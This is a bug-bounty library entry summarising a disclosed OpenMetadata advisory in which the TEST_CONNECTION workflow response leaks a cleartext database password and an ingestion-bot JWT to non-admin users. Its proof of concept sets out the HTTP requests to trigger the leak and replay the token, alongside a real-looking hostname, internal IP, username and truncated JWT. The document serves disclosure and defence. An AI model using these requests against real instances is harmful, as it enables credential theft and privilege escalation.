# OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users

Non-admin SSO user triggers TEST_CONNECTION workflow on OpenMetadata 1.12.1 and receives cleartext DB password plus ingestion-bot JWT in the 201 response.

- Payout: Research
- Severity: high
- Program: OpenMetadata
- Found by: JorgeCampoverdeA
- Disclosed: 2026-05-21
- CVE: CVE-2026-46481
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9vmh-whc4-7phg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9vmh-whc4-7phg
- Tags: area:web domain:api domain:web impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:jwt tech:oauth vuln:access-control vuln:info-disclosure vuln:secrets-leak

**Target:** POST /api/v1/automations/workflows (TEST_CONNECTION workflow)
**Root cause:** The workflow creation response echoes back the resolved connection config (unmasked password) and the server connection object including the ingestion-bot JWT, without stripping secrets for non-admin callers.
**Steps:**
1. Login as a regular SSO (Azure AD) user with no admin role.
2. Open Settings → Services → Database Services → target service, connection tab, click 'Test connection'.
3. Browser sends `POST /api/v1/automations/workflows` with `workflowType: TEST_CONNECTION` and password masked as `********`.
4. Server returns HTTP 201 with `request.connection.config.password` in cleartext and `openMetadataServerConnection.securityConfig.jwtToken` containing the ingestion-bot JWT.
5. Reuse token: `GET /api/v1/services/databaseServices/{id}?include=all` with `Authorization: Bearer <leaked_ingestion-bot_JWT>` returns full service incl. credentials.
**How found:** Reporter noticed the Test connection request masks the password as `********` but inspected the 201 response body and saw the real password and a JWT in `openMetadataServerConnection.securityConfig`; distinguished it from GHSA-pqqf-7hxm-rj5r by targeting the automations/workflows endpoint rather than ingestion pipelines.
**Exploitation:** Any authenticated SSO user with UI access clicks Test connection; the 201 response body hands them the real Oracle DB password and a long-lived ingestion-bot JWT (sub=ingestion-bot, tokenType=BOT). The JWT is then replayed as a Bearer token against service APIs to read/modify services and metadata at bot privilege.
**Escalation:** Low-privilege SSO user → ingestion-bot role via leaked JWT, enabling read/modify of all services and metadata.
**Insight:** When a UI masks a secret in the request, always inspect the response body of the same call — server-side re-serialization of resolved config often unmasks it; also check whether internal service-connection objects (bot JWTs) ride along in workflow/automation responses.

## Proof of concept (copied exactly from the original report)

**POST workflow request with masked password**

```
POST /api/v1/automations/workflows HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <Azure_AD_user_JWT>
Content-Type: application/json

{
  "name": "test-connection-Oracle-XXXX",
  "workflowType": "TEST_CONNECTION",
  "request": {
    "connection": {
      "config": {
        "type": "Oracle",
        "scheme": "oracle+cx_oracle",
        "username": "qpro_gobierno_datos",
        "password": "********",
        "hostPort": "172.16.54.32:1521",
        ...
      }
    },
    "serviceType": "Database",
    "connectionType": "Oracle",
    "serviceName": "utplrac_scan2_srvetel"
  }
}
```

**201 response leaking password and ingestion-bot JWT**

```
"id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7",
  "workflowType": "TEST_CONNECTION",
  "request": {
    "connection": {
      "config": {
        "type": "Oracle",
        "scheme": "oracle+cx_oracle",
        "username": "qpro_gobierno_datos",
        "password": "<REAL_PASSWORD_HERE>",
        "hostPort": "172.16.54.32:1521",
        ...
      }
    },
    "serviceType": "Database",
    "connectionType": "Oracle",
    "serviceName": "utplrac_scan2_srvetel",
    "secretsManagerProvider": "db"
  },
  "openMetadataServerConnection": {
    "type": "OpenMetadata",
    "hostPort": "http://openmetadata-server:8585/api",
    "authProvider": "openmetadata",
    "securityConfig": {
      "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..."
    },
    ...
  },
  "updatedBy": "<regular_user>",
```

**Reuse leaked JWT to read service**

```
GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <leaked_ingestion-bot_JWT>
```

